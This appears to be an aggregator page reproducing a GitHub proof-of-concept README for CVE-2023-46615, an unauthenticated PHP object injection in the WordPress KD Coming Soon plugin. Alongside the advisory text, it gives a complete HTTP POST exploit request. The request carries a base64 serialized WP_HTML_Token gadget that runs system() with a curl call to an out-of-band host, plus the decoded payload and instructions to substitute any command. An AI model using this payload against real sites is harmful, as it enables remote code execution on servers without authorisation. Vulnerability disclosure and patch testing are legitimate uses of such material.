CVE-2023-46615 PoC — WordPress Plugin KD Coming Soon 代码问题漏洞

Source

https://github.com/RandomRobbieBF/CVE-2023-46615

Associated Vulnerability

Title:WordPress Plugin KD Coming Soon 代码问题漏洞 (CVE-2023-46615)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin KD Coming Soon 存在代码问题漏洞，该漏洞源于存在不可信数据反序列化漏洞。

Description

KD Coming Soon <= 1.7 - Unauthenticated PHP Object Injection via cetitle

Readme

# CVE-2023-46615
KD Coming Soon &lt;= 1.7 - Unauthenticated PHP Object Injection via cetitle

### Description:
The KD Coming Soon plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.7 via deserialization of untrusted input cetitle in the vulnerable kd_cemailer function. This makes it possible for unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

```
Severity: high
CVE ID: CVE-2023-46615
CVSS Score: 8.1
CVSS Metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: kd-coming-soon
WPScan URL: https://www.wpscan.com/plugin/kd-coming-soon
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/0f831d48-733a-4e79-8559-92b03b8d0356
```

POC 
--- 
Only works for wordpress 6.4+

```
POST /wp-admin/admin-ajax.php?action=kd_cemailer&nonce=c0465c51ee HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 231
Origin: http://wordpress.lan
Connection: close
Referer: http://wordpress.lan/

action=kd_cemailer&cetitle=TzoxMzoiV1BfSFRNTF9Ub2tlbiI6Mjp7czoxMzoiYm9va21hcmtfbmFtZSI7czo0OToiY3VybCB1NHpjNXI5N3B2ZnF1NHgwMXNlenRlbmprYXExZXUyai5vYXN0aWZ5LmNvbSI7czoxMDoib25fZGVzdHJveSI7czo2OiJzeXN0ZW0iO30%3d&email=test%40Test.com
```

urlcode and base64decode `TzoxMzoiV1BfSFRNTF9Ub2tlbiI6Mjp7czoxMzoiYm9va21hcmtfbmFtZSI7czo0OToiY3VybCB1NHpjNXI5N3B2ZnF1NHgwMXNlenRlbmprYXExZXUyai5vYXN0aWZ5LmNvbSI7czoxMDoib25fZGVzdHJveSI7czo2OiJzeXN0ZW0iO30%3d` and replace the curl command `O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:49:"curl u4zc5r97pvfqu4x01seztenjkaq1eu2j.oastify.com";s:10:"on_destroy";s:6:"system";}`

File Snapshot


 [4.0K]  /data/pocs/8af12081c7e2008832d9d0c41ef087d85cb8302a
└── [2.1K]  README.md

0 directories, 1 file

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